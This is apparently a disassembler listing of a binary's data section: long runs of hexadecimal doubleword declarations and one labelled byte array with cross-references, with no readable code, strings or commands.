		dd 0FF0C42EDh, 908968C0h, 0FDB90074h, 45D1770Fh, 0FA05C231h
		dd 439DDAB8h, 6FD35680h, 0EB8E0018h, 0C6C0EA1h,	0C41DC5C7h
		dd 80801B71h, 4BE11120h, 76930041h, 0F89E4CFFh,	7000530Dh
		dd 42C5CB8Ch, 790665Fh,	8F6CD703h, 0D8A33F83h, 69F82078h
		dd 0F75C3BE7h, 35FF0085h, 0B1DD91Bh, 0EC6133D5h, 211CE908h
		dd 8F7E36A0h, 0CEC9DDB7h, 8F6F012Bh, 0D8CC2956h, 60BB000Ch
		dd 701B126Dh, 0A6019A3Fh, 0D0D9515Ah, 5260D798h, 0B1D10ECDh
		dd 809FF6A9h, 27161720h, 66066833h, 1D702C46h, 21FD6008h
		dd 94273EB0h, 0AE447E03h, 10E7EF34h, 6FDF850h, 5C72522Ah
		dd 0CF23680h, 0C446D8A8h, 3A351C70h, 0EF11E3DEh, 3618AD0Bh
		dd 0AE824C80h, 84483DE1h, 18223983h, 0F788D86Ch, 0B6700A6h
		dd 18EC29EFh, 56016B69h, 6DD4E9E8h, 18B1EE5Fh, 0D02E5A51h
		dd 4960F250h, 0A0BE4011h, 0B3C400AFh, 0ABBAE7F6h, 4160E67Dh
		dd 0A0C60121h, 45B8003Dh, 49F0B77Bh, 97306E55h,	0A42C58FEh
		dd 0B270FF03h, 0B3CB010Ch, 402E8252h, 0BAE4528Fh, 11360630h
		dd 88A5DE3Ch, 0FEA380E8h
		dd 364E1E35h, 0DE18AA00h, 11276870h, 1028A374h,	594A60h
		dd 664E61DFh, 5421C2h, 58DBD038h, 4DF18E41h, 46001E76h
		dd 892659BAh, 263CAD9h,	22A25F7Dh, 8F40FB7Bh, 1F009B40h
		dd 0D1A4946Ah, 0E899B195h, 10E700D2h, 8895912h,	5400F3F5h
		dd 0B19C0615h, 71FF67h,	254B6323h, 26B65847h, 8909AE64h
		dd 50CEE2Eh, 0C110E271h, 0A9EF300h, 0A7DC55AFh,	7E5F0950h
		dd 71006652h, 13D81605h, 0FAC1270Ch, 44A829B0h,	404423A0h
		dd 84DF44CAh, 0EB54A744h, 10626611h, 113DEFEh, 0C29D4CBCh
		dd 0E42F3A91h, 2500DB3Ch, 0F3D27D9Ch, 205D9EF7h, 192231A5h
		dd 3BAA2210h, 0F09E8310h, 6604B121h, 76088A69h,	24A3ED42h
		dd 0CB962765h, 19A24251h, 5979565Ah, 0D1441F08h, 0DAA1C74Eh
		dd 0E96D00FBh, 0F007D70Eh, 600797D1h, 4ACDA6F0h, 512B03FEh
		dd 82FD68BDh, 7F1063EFh, 0AE70858Dh, 616C8100h,	3F9EF93h
		dd 4CFDAD8Ch, 0DF988E44h, 1600744Dh, 0F730295h,	3CF0FA64h
		dd 3100962Fh, 1DD5EE71h, 0D700CC7Dh, 0A475DDE9h, 5F0FBh
		dd 0FFDB63F2h, 0C0558418h, 87493300h, 0D1C101FDh, 6A560FC4h
		dd 0ED00A0FCh, 450998B3h, 0C7643000h, 14C263D8h, 0FFD40022h
		dd 36721EB5h, 2607BA5Ah, 18DFB4Eh, 0E2B91370h, 3E070021h
		dd 0DC1C4394h, 200E6F47h, 768E57h, 4F3419F4h, 0ED290EA9h
		dd 5CC0EAEEh, 53403533h, 63DB9F1Ch, 76C85DC0h, 31F181Ch
		dd 91370B3Bh, 88110323h, 0DB00F52Fh, 0EE3CDC9Eh, 2A00854Bh
		dd 80057E89h, 0E0389Bh,	0C3415BCh, 21BB68CFh, 990EE973h
		dd 608492C0h, 8E74D918h, 50F41724h, 0A4430001h,	167922D0h
		dd 0C35FA000h, 0B215FC3Eh, 0EB0E00DFh, 0FB41CE7Eh, 5A011819h
		dd 0FF9B99E9h, 0E4D8FA28h, 0FE8500F7h, 0A3D38434h, 0BD0331D7h
		dd 1CF27F9Ch, 5B1A00B9h, 1DE58E8Ch, 0F10E6FF0h,	20058D90h
		dd 1AB111EBh, 0C23C00EFh, 31BC204Bh, 711EE8A8h,	4600598Ah
		dd 358E6598h, 8DEF0026h, 43714BDh, 0C20FEAD4h, 0C7D338AAh
		dd 81B0B149h, 0CA2AA2h,	621CF403h, 0DBA40E45h, 0CB902707h
		dd 2EB01064h, 0B17AD9h,	0DA02F803h, 4BEA2F6h, 0BA401300h
		dd 5DD1873h, 0B2D3162Ah, 0F5ED0145h, 0DCB92E10h, 78012F87h
		dd 0ECF2EE0Dh, 0DCC8DE3Eh, 0BAA1009Dh, 49D4B337h, 47F0E218h
		dd 2EA6DA00h, 65F05B70h, 0C8A21C1Ch, 9ED61DE0h,	3A98BE44h
		dd 38206CE8h, 56C2DE00h, 0C33076AAh, 82910301h,	0F4A0A96h
		dd 0E43D2100h, 40246145h, 18E54835h, 90B2EC00h,	1BF9DD82h
		dd 0D208EA09h, 11000BCh, 0E8BBE39Ch, 0E6760205h, 0DAA3D604h
		dd 0EB3A1840h, 0E27E3414h, 9DC902FCh, 486378C1h, 388CF804h
		dd 0B412B5BEh, 41A70052h, 602838B8h, 0DE47DD00h, 5EE8D8ABh
		dd 58F439h, 6BD72CFEh, 0BBBF77EEh, 420716F4h, 9A4DC15Ch
		dd 21E3C800h, 0F8B0C08Eh, 77842CA6h, 26E96418h,	17346D8h
		dd 9DE6D335h, 0C8BE4CEEh, 760078EFh, 863F5BBh, 99D5CCh
		dd 0A619D264h, 0C757BAA0h, 0C6B88707h, 58505DFCh, 260E6E6Ah
		dd 4A4043h, 1A328D1Bh, 0A9FC9ADFh, 7C02C100h, 84E10B0Ah
		dd 3A090E3h, 0C49BB834h, 2C804CBDh, 75009EFEh, 0E17C0E03h
		dd 27E0D6h, 490239EBh, 0A65F100Fh, 8D427600h, 0EBFE5E3h
		dd 368B0061h, 0CC85F5C3h, 5D02C292h, 40D67580h,	0B8C080FAh
		dd 1E61B50Eh, 80C05898h, 1EE2100Bh, 0EC732477h,	5C00A6D2h
		dd 7C6D69D4h, 6A2F0057h, 0A924CEA1h, 900E0FFh, 0EA47A53Eh
		dd 0BCF419h, 3FBAD8CDh,	0F184D7DCh, 4A444E00h, 0EE6F628h
		dd 0C1807DDh, 132F93AAh, 0D2C0EE13h, 9501EFF1h,	0CFC10238h
		dd 2E205983h, 0E68F812h, 0D528CE0Ch, 0D551740h,	6D00B47Eh
		dd 316FE887h, 0A31D5Dh,	0EEB3EA01h, 2FD54102h, 7E934000h
		dd 0ECE77634h, 0EB08005Ah, 78519C10h, 9D00827Fh, 981DAD6Ah
		dd 0AF9762h, 40F6B3D5h,	0D10B9604h, 0F7BB5A00h,	0B8BA93A1h
		dd 6BCF01CBh, 111B52AAh, 8C7AC469h, 44753202h, 74E8E3F2h
		dd 12F88079h, 2965C5ABh, 0CEEDF31Dh, 59786FC0h,	48A27DA1h
		dd 0C624DB44h, 3D310077h, 3B9BBF36h, 1F3EB900h,	0A8AC0BBCh
		dd 8D531D5Eh, 0DECDFh, 5F403708h, 0C20033A5h, 6C745C31h
		dd 92306Ah, 601EA6A8h, 69D65DD0h, 77E8DC00h, 0E4CA824Ah
		dd 0B77607B0h, 5F36DDACh, 12254E20h, 1600E3B9h,	0B3FFA0F9h
		dd 70A4D3A2h, 0AA8B0010h, 0A8F85EA5h, 0ECFD3E8Dh, 0D71E313Dh
		dd 0A04113CAh, 62AFAE46h, 1EE420h, 3F9E9658h, 0ECB26843h
		dd 34002E79h, 7547E035h, 0D85F9Fh, 5C6B0DD1h, 1844F96Eh
		dd 0B9E69C3Fh, 6DC180ACh, 4EE49164h, 142E0FFDh,	433DFA8Bh
		dd 0C61E8708h, 366EA3E8h, 6A7353Ch, 0AE183F78h,	0BDC30028h
		dd 7AB097B5h, 940023C5h, 3A413175h, 49835Fh, 86844AACh
		dd 1140DADh, 8094E01Ch,	36C0D41Fh, 8E9513F4h, 0AD700CDh
		dd 0FACBFCEEh, 3300E072h, 0C367738h, 6DC390h, 354AC6E8h
		dd 0D8B11F69h, 33FCA000h, 2270ACDFh, 0C2770054h, 1E92652Eh
		dd 0D0789C4h, 9B6C418Ch, 33BE860h, 0B1F207ACh, 0C0E349CEh
		dd 36156D01h, 0C0C784A0h, 30C2BC00h, 7141275Fh,	87E80063h
		dd 9BF61082h, 94005322h, 0F0453691h, 16EE0F09h,	1D923FB3h
		dd 753E8028h, 4AEDC254h, 7B6B6A07h, 7D808877h, 1EFAC71Bh
		dd 14D9ABC9h, 0A583E8F6h, 31009225h, 94B06B3Bh,	0C9765B7h
		dd 0A8FD751Ah, 4B00E2F8h, 53F3DFD4h, 48A324Fh, 33B211D5h
		dd 25A78012h, 60F17A2h,	80965D3Eh, 0E09AD33Dh, 6C070034h
		dd 31797AC1h, 5500E7D8h, 1BBEC208h, 60C489h, 0AE59EAF2h
		dd 0C96F6668h, 0B7F8E500h, 0E7480DF6h, 77F6A7h,	7255065Fh
		dd 0D7ABCFB3h, 90699500h, 8D75047Eh, 1486011Ch,	0A66711F8h
		dd 0F08A7060h, 93567B00h, 741615ECh, 6C42095Bh,	2C00E3BEh
		dd 329176DAh, 8DDD5400h, 4526C1FEh, 66200071h, 51CBCFD2h
		dd 0A624F006h, 1500349Dh, 0C001E5CDh, 0DAE00E0h, 0A180925h
		dd 0C70317E7h, 99605CB0h, 8074809Ch, 35C200DBh,	2B713070h
		dd 1F0ECE49h, 0A143A877h, 0CD5CA566h, 75909F8h,	80F433F6h
		dd 73C5B021h, 3E00BEC8h, 5F0B394Bh, 0E06B5532h,	0DB4E001Bh
		dd 0B0A4FC53h, 8D0E059Ch, 0E071C6DDh, 15F98B29h, 0D7B801EFh
		dd 6DB93A0Eh, 646C7048h, 0BF1D52B0h, 8807D835h,	0A920B109h
		dd 0B60EE9Fh, 81213FD1h, 0FEC65C03h, 0EB77E98h,	0CD830A00h
		dd 32132A9Ah, 0D15001BDh, 309E9F6Fh, 0AD6E8303h, 0A0C9893Bh
		dd 12572A2h, 85E6D58Ch,	0C4F02616h, 6D240B50h, 62809C29h
		dd 51A6FC39h, 2D7300BCh, 9DE35594h, 0E93E2AC9h,	4CA98007h
		dd 7E3BB076h, 0E1740DF1h, 0C03288DAh, 0DE006F04h, 677ACDDh
		dd 2435B678h, 29C6219h,	3351C93Dh, 56804B05h, 9B2FD01h
		dd 2485ADCFh, 36950080h, 0B1001EF1h, 4B7EC428h,	0ECDD58B7h
		dd 0B9051272h, 99500009h, 8618068h, 965E5900h, 53BC9047h
		dd 5C9C0EDEh, 0B040859Eh, 0F4786186h, 0A9D4C300h, 23C4F04Fh
		dd 2F7344h, 0C980B23Bh,	77852948h, 0CAC79000h, 0D43F27B5h
		dd 926E41Eh, 0A3B9D633h, 716FC000h, 0F601855Ah,	60DA21Ah
		dd 9840C311h, 0EC28A4h,	0A0832035h, 279443D0h, 0A33FB003h
		dd 0D07170F1h, 240F97E2h, 5F31ADh, 0FDEEAFD3h, 69311AA7h
		dd 0DD9660FCh, 0AE2D0h,	4ACC1759h, 2678D3FBh, 0FD037F7Ah
		dd 6BBA6AD5h, 0E0D02177h, 2D28F580h, 7219Ah, 0B4C5D096h
		dd 0D4FA7FDAh, 8015BC38h
		dd 412A0B7h, 23091Ah, 0DED5220Eh, 0F89CE278h, 0D44D9500h
		dd 87527B7Fh, 0A2320B7Ah, 6980CB9Ah, 55A3C410h,	2D0D1807h
		dd 800939E1h, 4A6989FDh, 1BCC1E4Dh, 74BA002Fh, 0F5039DCAh
		dd 3A86AD18h, 0A72EA8h,	4B8BD60h, 7DE6C7E9h, 8185100h
		dd 3579D88Ch, 1D401E47h, 0CB04C05Ch, 434FD6B0h,	0E28AE700h
		dd 48B969B6h, 4C8D1C57h, 0B2C5000Ah, 0D5FBA0CAh, 6D265900h
		dd 390523AEh, 29EF0CDBh, 0C24479C7h, 1FDF8301h,	7FAA9198h
		dd 323E5FCh, 562C2577h,	15C36D21h, 42F07583h, 39035D44h
		dd 484CFBAAh, 31618028h, 35C0090h, 14351C43h, 0E89880D7h
		dd 494C0202h, 80DF4A20h, 9F0D6CC4h, 0DA612CD8h,	63A0005Eh
		dd 0B21D149Ch, 51AC11Bh, 5BA0FF64h, 2F45A340h, 54789254h
		dd 0E4048E7Fh, 2E77882Ah, 0C0E498h, 0BFD7D839h,	0E3FE8A79h
		dd 0EECB4100h, 7EC1D0A5h, 46D7824h, 2C035110h, 5C4481A2h
		dd 0D8B2F5D8h, 1A38F75Eh, 0E7730312h, 88618396h, 3B26AF20h
		dd 0EE80DA0Ah, 757CA42Dh, 0F0029BCh, 56933060h,	11B68C6h
		dd 4FD880DEh, 0FC639295h, 1D18D3CFh, 0ED588AA9h, 5D0002Ch
		dd 0FF36F8FCh, 1C00522Ah, 8E9DD526h, 0EA043CADh, 0EF007DEh
		dd 0F0D120D4h, 0DB3E9C95h, 0A6420300h, 0CEB5C7C0h, 0F5BD008Ch
		dd 2C48CCD4h, 2D382958h, 7B7180D0h, 0CA494FC6h,	0A3FD240Ch
		dd 18182B4h, 0EB40DE83h, 4A07587Ch, 0E2760BC1h,	0B4400205h
		dd 0E9F152A3h, 0E0334522h, 531C9B3Bh, 0C5406A3Ch, 78FB5D9Eh
		dd 0D86D1445h, 0FE14AEA3h, 310FB4ABh, 2A00EB53h, 519977F4h
		dd 3F526C00h, 199AE72Dh, 0CECA07E2h, 70C3CDDBh,	6D208239h
		dd 0B0C548h, 959DC880h,	4805E7B4h, 0AE008051h, 39B8E027h
		dd 10076984h, 8FD1FE20h, 0FA571310h, 0C1C700B2h, 84D0E398h
		dd 5600324Ch, 0B65C6CFh, 0E83362h, 0DDAC838h, 45858ACDh
		dd 55803278h, 64A548D9h, 737241Fh, 79BE8h, 0C08987F6h
		dd 12037A72h, 61C964D9h, 0D0D2B0BBh, 703873FCh,	13C00EAh
		dd 0F73E379Fh, 5C04158Dh, 2E727A09h, 529BA8C0h,	390E00F8h
		dd 11E848F1h, 780043BEh, 0FF27FB0Dh, 77BA0647h,	9FA000A9h
		dd 6CC77639h, 80FDDFB7h, 96243048h, 0CBF5F0h, 83510245h
		dd 6367086Ah, 5C184203h, 0C85E26A7h, 0EC6111h, 0A37F062Eh
		dd 20CC5F84h, 48799D00h, 42C1F08Bh, 0A45D1EDCh,	6C22C91Dh
		dd 0D96ED580h, 0F60055ABh, 4AEF9A3Eh, 701AC77Dh, 82DD6732h
		dd 72C0B01Eh, 0EAFCF3E6h, 0B7E5DC07h, 2571822Ch, 0C880F94Fh
		dd 0DB45067Ah, 877A22Fh, 0D9B39407h, 0F8205FDCh, 1C4F2C1h
		dd 599CBE35h, 0FC4AA445h, 0DF0C6B1Ch, 19588627h, 34C11DF1h
		dd 0CFA006Ah, 7D5FAC61h, 49FE50C0h, 3B920385h, 0BB80EE3Fh
		dd 805BB936h, 630746C2h, 0DA9EBAD4h, 35BD0980h,	2E30041Bh
		dd 0C3F101BBh, 0AAA8CFFDh, 680731FFh, 7BC08052h, 6EF774B0h
		dd 0CD120EEAh, 8A160EDh, 0C7561D13h, 52479000h,	0AC7B5168h
		dd 49F0002Bh, 38AE2353h, 0AA0EA3B4h, 8390EA8Ch,	9BF59A4h
		dd 638795A8h, 6ACD5980h, 43F8DA5Fh, 943B2A2Ah, 545E252Fh
		dd 76E2008Dh, 0CF3ABA9Ch, 0EAE07800h, 1DC96249h, 400E02C6h
		dd 28B6228Ch, 0CF73ADE0h, 7C20C313h, 0E79B6101h, 0F2DC2968h
		dd 0CB8400D3h, 6AF730A7h, 5E004501h, 0A3443AA0h, 73D7425h
		dd 50562FA9h, 7D65255h,	75E93C48h, 209D2300h, 48515F19h
		dd 658E04BAh, 8093ECF3h, 7DC19508h, 8001533Ch, 7A0B4FD9h
		dd 39180433h, 88035566h, 5AB8936Eh, 870DF1h, 0E0CEC17h
		dd 285361D3h, 30A4A69Dh, 6F45F70h, 57C85500h, 2BAA0986h
		dd 0F2F80098h, 6D409133h, 3C0EB268h, 12E4FA5h, 0D4B9A025h
		dd 7653EC0h, 0FBDA6A53h, 5A7FF0E5h, 339AFC1h, 0B7FD00DDh
		dd 557A6C63h, 3C5B12C0h, 5F9400A0h, 42A6DC49h, 378E9803h
		dd 0E82A7918h, 0A2FBF2h, 0BFFE4EDh, 6A97CFB5h, 60FC0900h
		dd 0BAD85E95h, 0C380000Ch, 99CD045Fh, 6A00EC54h, 8C82D6D1h
		dd 48471Eh, 9B0A928Ah, 0E0E4BCB0h, 0D4005490h, 0BAB6FEE8h
		dd 0CEA2D7h, 1BFFA6E3h,	0A15AD246h, 0D6541900h,	8876722Ch
		dd 0D8CB0FC6h, 0A5605CF0h, 0F0838BEh, 0A0264C00h, 0E46EF4B7h
		dd 0EC428D3h, 93AE009Eh, 0FE95F94Dh, 9B0EDFD8h,	217D56h
		dd 283D0CA5h, 865A3CF4h, 96174F87h, 455830A8h, 2E3A7141h
		dd 0DC8A001Bh, 81F043E2h, 0D9422474h, 0EB69031Ch, 64772B26h
		dd 1CF3D700h, 0D1053D54h, 0E0D5009Ch, 2C02565Ch, 7B00A0ACh
		dd 9EDCB88Ch, 6E403Ch, 5BAD763Bh, 84327C24h, 62903E00h
		dd 63A67FBh, 8E120074h,	13197BC1h, 0E65E8B34h, 0AC277F81h
		dd 0F04D81DCh, 2D200012h, 3FE4DA33h, 9E00C0F5h,	34DCE28Ch
		dd 1AAD57h, 9825F15Fh, 0D104E81Fh, 438C1703h, 1BD0620h
		dd 0E623DF48h, 822AE9EBh, 0FE65C5C8h, 0FBE0405Dh, 0CCA1484Ah
		dd 5CCFEF01h, 0D92699EBh, 8121B82Bh, 4F3BF946h,	0D0806F2Dh
		dd 7C21442Eh, 9400E9AFh, 9B173CF4h, 2892D5F6h, 0FEF4B9ECh
		dd 7EF20012h, 0E73B96C3h, 7F00FB72h, 0CC81F6B2h, 1A2A12Dh
		dd 1C9A154Ah, 30C4D962h, 0F090E86Fh, 0D3A36C0Eh, 5B7BC0F1h
		dd 18850C78h, 0BC09CB0Fh, 48007F0Ah, 0D8FD5AF9h, 0B86CC1h
		dd 57DB3BFAh, 58135C66h, 794EBD00h, 0F9743531h,	0F42F00A2h
		dd 5E2E6A1Eh, 2400F288h, 0F15AE17Ah, 5ED31F7h, 50D5E0C8h
		dd 0DAE0006Ah, 81907CECh, 56B10500h, 77A47248h,	0FDAD0315h
		dd 7D4D8B23h, 6F6454C8h, 5000C6E6h, 9326EA98h, 793086h
		dd 24FA910Ah, 1A5BB74h,	0F91B3Fh, 0BA725CD9h, 7DA8B4h
		dd 0C312F00Eh, 2B92E9Bh, 248F9F00h, 55FFF438h, 0CCA10020h
		dd 0F652C4AFh, 0AA002639h, 0C041F340h, 15165F8h, 0C51C7B27h
		dd 0C4DC5902h, 5C98182Ch, 704D3500h, 73804BEh, 7BF2F225h
		dd 601C00B7h, 1D999F4Fh, 28036E46h, 7F952CFh, 9870A89Ah
		dd 9C3417A5h, 641507E2h, 0DEA31073h, 0CC003E99h, 2F6977B3h
		dd 1B47CAh, 1EBFA861h, 0DE11C07Dh, 278BB612h, 68E61841h
		dd 9AE8D792h, 9CBB1CAFh, 0DA08C05Ch, 0D31EAD9Eh, 0A14DE500h
		dd 0C37CE026h, 0E8575E6Dh, 0A3007D0Fh, 0CF25282Eh, 0C627F1h
		dd 8EDBF76Fh, 0EF6EC44Eh, 0EA0033FAh, 0DC8280Fh, 1451FCh
		dd 7A4E5910h, 1B778446h, 0FBD08F00h, 3C7440A6h,	4AC213D6h
		dd 0A2B007F3h, 95580013h, 22008A30h, 0B311AAACh, 0E97B884h
		dd 612D1CD4h, 0A0BDD0C7h, 0FA2BCC6h, 560A4103h,	888571E2h
		dd 0E11208h, 9C04A59h, 67AB941Dh, 0A0794113h, 0E6121C72h
		dd 0CE8B0090h, 5583C236h, 0BAD36Fh, 9652B000h, 0B9A54B2Dh
		dd 303B3968h, 0A0ABA4h,	57FF013Ah, 6B0110F8h, 457B4241h
		dd 0C2C813DCh, 1FD40037h, 191488B4h, 0C01D1A58h, 81B9A93Ch
		dd 6899BFABh, 6870EF90h, 709500FAh, 8912E2D1h, 3B02206Eh
		dd 7DDD0443h, 94644181h, 201BC64h, 0C3359D5Fh, 70C2E35Ch
		dd 0B78C8081h, 6CB820C1h, 200E6000h, 9C46EBA3h,	0B0F2E8h
		dd 3CCAE196h, 1E2BB8B2h, 20040F00h, 30FD0244h, 0EA100146h
		dd 9F29CD0Bh, 5E2F3019h, 0CA13EFE8h, 0DA1CAF25h, 6B4E41C0h
		dd 110DB7h, 0C4E21022h,	0D45C13A8h, 0BC7858h, 0F3BB6DF8h
		dd 0C5FA3Fh, 5BD6D0F1h,	0B03B4CCAh, 83DA5800h, 1ABF05E3h
		dd 0E8741CF6h, 567340FDh, 0FC5E46D7h, 1D390638h, 0A91F7A49h
		dd 0B46B54h, 0AC861C27h, 4BA751h, 0F808207Bh, 81291E0Ah
		dd 78D79324h, 75259B04h
		dd 0DFE47090h, 7EC700D9h, 0B703D146h, 8B00F529h, 40AC108Dh
		dd 0C87BF7h, 0F13A455Bh, 8E115016h, 6A1BD50Eh, 1A96E182h
		dd 0B040879Eh, 0FAFE64DDh, 0BAD30315h, 4034665h, 41549800h
		dd 6DC12D87h, 0FA78003Eh, 6B97DEC9h, 0B100FCE0h, 0A43FFA2h
		dd 0F4B6024Eh, 0C5A4011Dh, 3584C973h, 93020C0h,	196A5700h
		dd 74EAAE36h, 76180027h, 8799826Bh, 770A9A1Dh, 0A3437D3Fh
		dd 0FBCEBA01h, 7A3185B2h, 1450E0h, 0BE3F0BABh, 4D707E5Eh
		dd 0D590E605h, 53C28F01h, 8E1C486Dh, 87F400CFh,	0DE7D34E9h
		dd 0CD095460h, 816C4FE7h, 24FFC2E0h, 1E520h, 0AD42FAE8h
		dd 0B3735F3h, 5125BE0Eh, 0DD396729h, 5D1FEE10h,	0AC9248AAh
		dd 9D3DCD03h, 5797A3BEh, 52604041h, 0BBFA68D3h,	78645Ch
		dd 912D0F76h, 9211863Eh, 0E5570054h, 708C896Bh,	24072B1Eh
		dd 8F4E1718h, 0C04A5812h, 2CEF962Ch, 2A455Dh, 5495E3D4h
		dd 0DB0EA4C9h, 3DB406DCh, 0FF53FA00h, 1FE42EAh,	2977390Eh
		dd 61229EBFh, 9355C8DBh, 0C8597B00h, 0BDFC49C9h, 0D3790042h
		dd 5C35CA87h, 3C00A17Ah, 1E81D5A7h, 0EA05FDh, 87BBB285h
		dd 4CB51292h, 407D3179h, 0F790A400h, 6BB11513h,	59410057h
		dd 0A338757Ch, 190733A6h, 2DB84E8Dh, 3D77C693h,	0C84D72B9h
		dd 88554200h, 91447C20h, 9E25AF02h, 8EFE5092h, 82F5C184h
		dd 28613C9Ch, 266CA140h, 0FBEC80h, 33E2AC4Bh, 0B9257642h
		dd 3DA12700h, 32574555h, 4D640029h, 2BBB8ADAh, 3874F047h
		dd 585E5Ch, 6D8E157Fh, 2839229h, 0FBE8BA1Ch, 68504A30h
		dd 20CC0200h, 5D7DA17Fh, 8AC23B80h, 9E9B0399h, 0E5984089h
		dd 95F4C87Eh, 0CE31AE12h, 81037B1Dh, 0F2F75h, 6EA1749h
		dd 9C520757h, 8EEFC503h, 0D88B4291h, 4DB7Ah, 5DFD8A25h
		dd 0FBD244EAh, 33CFF100h, 939B4D50h, 0DB370169h, 0B2784B6Dh
		dd 0AC78BF8Ah, 220087ACh, 727F6FC8h, 8025060Fh,	79B51D75h
		dd 5506F300h, 0DA2E86C9h, 48E97CC1h, 81FB8E5h, 0C15071Ch
		dd 0AC501C88h, 3DEE75B8h, 3334A203h, 0A0B8A443h, 5803C305h
		dd 7C75ADFAh, 0E18D006Eh, 62E77CF1h, 0A809711Fh, 0A0FBADAAh
		dd 0C2BE8C48h, 1BCF02E3h, 23214558h, 0F8795870h, 0BCBEF8E9h
		dd 3300F090h, 5E5D2451h, 981F6DA7h, 58FE3E24h, 5BC50600h
		dd 41F0D1E5h, 24A09B60h, 0A0535C1Fh, 0F2F8EBAFh, 0B3390037h
		dd 0B594CB21h, 6D0EF674h, 232DB4B9h, 3FAD2295h,	1B8E25B0h
		dd 0C60D70Bh, 6D5CC950h, 8657002h, 0C02F3B60h, 28A6E7D0h
		dd 0DAEAD2h, 0CA39B1B9h, 0BD013D59h, 309D931Fh,	22D7C5C0h
		dd 0F6B09C17h, 6A98264Ah, 0DFF8050Fh, 6FF18023h, 0E139F6D2h
		dd 5AF718DAh, 1D4896DCh, 0E9CE59h, 0BF1A826Dh, 6F00AAB3h
		dd 0F1558810h, 0E64B18h, 8DA96943h, 9B498F41h, 0A3EB3E00h
		dd 0D75051CAh, 6C1A1833h, 4C6F9E80h, 0EA22E00h,	29251B3Eh
		dd 0B1E6003Dh, 585C59E0h, 0E71EA321h, 0E80FFDC2h, 0BD1640CBh
		dd 60B055BAh, 1EBB5E62h, 3E1D60A5h, 3B80B481h, 0F0D95167h
		dd 0EAB21CBFh, 6459479Ch, 10FB06D7h, 0B9006EE6h, 1574D1FCh
		dd 98C4F7h, 7DCDB8D8h, 34DA4973h, 5C111F13h, 0CB2EEC00h
		dd 1858DD36h, 0B0E75468h, 0A800F63Fh, 5E9725E6h, 0C7CE94h
		dd 0BA9DD875h, 0D2F589C5h, 3027C407h, 0FE870C21h, 22BC6B50h
		dd 2318003Fh, 0B30E7C2Dh, 84015AA8h, 0C138DE01h, 0CC20AE44h
		dd 752A139Fh, 0F2F500E5h, 30C69EFBh, 10478400h,	9B3D0EA4h
		dd 4EA007Bh, 6D5645B3h,	50076FF2h, 0F3F9ECCFh, 12F800FBh
		dd 1982D8DEh, 5818680Dh, 0F11DF80Ah, 0FDDB1500h, 0FF8057Ah
		dd 3E9200DCh, 0E137B4D7h, 0FF7561A5h, 7AC8126h,	214F7B0Eh
		dd 0F1B317C9h, 964C0DCh, 24D45258h, 3E1E7C00h, 89051F60h
		dd 0CF39EE9Bh, 6950CC80h, 9D2500CDh, 4C623E1Dh,	0A5006ED8h
		dd 3D9AF838h, 106A2E3h,	73535705h, 9FD0ED4Ah, 0EF82A538h
		dd 0C070C8E9h, 7DE2A8DBh, 0FE1000B4h, 3BDCC2CDh, 0D0B8A601h
		dd 20EADF12h, 238FB80Bh, 824990D0h, 0DE0840B9h,	0D74D3A18h
		dd 0FC2C1401h, 0D89304C4h, 0FB01034Ah, 6FF62B5Dh, 0E8200679h
		dd 16FD008Bh, 10DF5C72h, 0C000C70Dh, 19EC2CD8h,	21DA07h
		dd 280C4122h, 975AFA4Ah, 0C8E5A8A0h, 0CCE97200h, 0EF12B7B3h
		dd 0A8563E76h, 0D059AF00h, 0C4F5944Dh, 0E80AD804h, 64C2283Ah
		dd 1374D11Ah, 998043BCh, 9BEB45CAh, 10265588h, 0FF00B0F2h
		dd 5C5F51E6h, 803A19h, 78A27473h, 75A977A8h, 2721D03Ah
		dd 0AEA807F4h, 4B6CFAB0h, 11D10057h, 152AEF75h,	84133A63h
		dd 0F8024E89h, 0C8E6B031h, 84464458h, 3C8C38E5h, 0DFFC84F9h
		db 0CCh
byte_520045	db 8, 80h, 13h		; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 0F2BFA98Ah, 0D4700EDh, 0C8D22CB0h, 535C7269h, 1C760249h
		dd 60A8F2A4h, 178050h, 0BB1A6A4Dh, 81904602h, 0C409DF00h
		dd 8B2B74A3h, 1E27CC0h,	615E3669h, 64BB5255h, 10F46A18h
		dd 0C707B21Ch, 0AFAB2D00h, 5C03F329h, 760784CEh, 901681C3h
		dd 75693154h, 0E42CED7Eh, 0BD00B4EBh, 52C71EFFh, 308F07Fh
		dd 86DB3BDEh, 75984A1Bh, 60B1CF41h, 0EA480600h,	758A73C0h
		dd 39E7E87h, 59B3E5C4h,	5000230Eh, 5124494Fh, 13115Dh
		dd 0E93695EEh, 0F90C011Ch, 645F11C7h, 0BA43A471h, 0EAE351E4h
		dd 154E2439h, 0D3833F5Eh, 89AC6655h, 14DF09D8h,	16F0D402h
		dd 60817D19h, 10CCFDh, 8E05290Fh, 5D972138h, 3429A00h
		dd 77619214h, 0E50E00EAh, 0E68CFCDBh, 8B3843E8h, 3839004Eh
		dd 0F3343F44h, 1C890EBCh, 708072C2h, 9AB4A699h,	0DA012E00h
		dd 0E09CA444h, 49DB077Ch, 303E40DDh, 0BE15FD97h, 0BD45E600h
		dd 0F16ECF47h, 0C9232E11h, 38D1D83h, 9DAAD03Fh,	130CC3CCh
		dd 0C46E2D89h, 493F4778h, 3F9400EDh, 0BA4DDFE5h, 0B69A01A7h
		dd 2205B10Eh, 0A01BF031h, 7BECF203h, 0F0CFE958h, 5C91A4h
		dd 0ED0416F5h, 0E102AD96h, 0DE5F2713h, 672DD700h, 865DCBh
		dd 0DDBC8239h, 503179CFh, 8A271C00h, 6DAAA1B6h,	4CCE3838h
		dd 0C1B4A200h, 863D53D8h, 0AC231200h, 28B61CA7h, 4B9F0024h
		dd 5F42E3A1h, 5D0019A3h, 0B4763D8Eh, 1C0C17B5h,	80FBD036h
		dd 0C88CE1EDh, 0FF0116CCh, 0F2234FDh, 55D483CDh, 0F37B0063h
		dd 8B2E4D2Dh, 870020C4h, 145B085Dh, 2408Ah, 57EDE17Eh
		dd 896D0A94h, 0CDE2FB00h, 0E7F9C112h, 8E680047h, 36E9FEB6h
		dd 52004932h, 0BF98FCDAh, 0DAF8Fh, 0D68AC062h, 26079AEAh
		dd 2ED35A09h, 661C2068h, 28FCF36h, 9D2F4A63h, 0F0807A2Ah
		dd 28E6F584h, 0FB211700h, 83E00C6Ah, 1D57591h, 75F30630h
		dd 0DC956264h, 0AB03C6EBh, 0ADC94721h, 78FCF820h, 6F67006Ch
		dd 0B1BE8612h, 0B4038A2Eh, 6D0F36ABh, 0E090D09Eh, 0B73A0043h
